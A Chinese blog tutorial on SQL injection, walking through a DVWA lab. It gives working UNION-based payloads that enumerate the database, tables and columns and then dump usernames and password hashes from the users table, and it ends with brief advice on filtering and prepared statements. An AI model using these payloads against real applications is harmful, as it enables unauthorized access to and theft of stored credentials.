美文网首页
数据库安全之sql注入

数据库安全之sql注入

作者: 哩白 | 来源:发表于2020-04-01 22:25 被阅读0次

什么是sql注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

怎么判断存在sql注入?

如下图,输入1返回first name和surname。

输入1' and '1'='2,返回空

输入1' or '1'='1,返回所有的first 和surname字段的值

所以判断存在字符注入

order by猜测当前sql语句有几个字段

1' or 1=1 order by 1#

1' or 1=1 order by 2#

1' or 1=1 order by 3#

可以得出只有first 和surname这两个字段。

或者通过union select 1,2,3 。。。来猜字段

查询当前数据库

1' union select 1,database() #

查询当前数据库有哪些表

1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

可以看到当前dvwa数据库里有guestbook和users两个表

查询表中包含哪些字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

可以看到当前表中包含8个字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login

查询所有的first、last name和password

1′ union select group_concat(first_name,last_name),group_concat(password) from users #

怎样防止sql注入?

1、对用户输入进行过滤

2、采用预编译

相关文章

  • Python中该怎么防止SQL注入

    SQL注入 SQL攻击(SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之...

  • MyBatis 防止sql注入攻击

    Sql注入攻击 SQL注入攻击属于[数据库安全]攻击手段之一,可以通过[数据库安全]防护技术实现有效防护,数据库安...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • SQL Server面试题

    (一)SQLServer数据库 1.SQL有哪三种注入方式?SQL安全 动态SQL拼装注入、SQL溢出漏洞、获取管...

  • 堆叠注入

    SQL注入之堆叠注入 之前一直以为堆叠注入不适合mysql数据库,实战中也没有尝试过堆叠注入,今天看书《web安全...

  • 浅析SQL注入

    Edit by Qsaka SQL注入是如何产生的 SQL注入的根本原因是不安全的操作被带入到数据库中。SQL注入...

  • 小迪16期-20170305

    第三天:Sql注入技巧篇 1.Sql注入之access注入 access数据库结构数据库表名数据库列名数据 1.a...

  • DVWA之“SQL注入”

    漏洞类型:SQL注入/Get 字符型 安全级别:Low 目标:通过注入SQL语句,获取 MySql 数据库存放的用...

  • web安全之SQL注入

    2018/07/06 23:41 慕课网web安全之SQ之注入课程学习笔记 什么是SQL注入? 如何寻找SQL注入...

  • 代码安全

    PHP 常见的安全情况: SQL 注入 XSS 攻击 关于 SQL注入 大部分是因为对写入数据库的数据没有进行验证...

网友评论

      本文标题:数据库安全之sql注入

      本文链接:https://www.haomeiwen.com/subject/wpezuhtx.html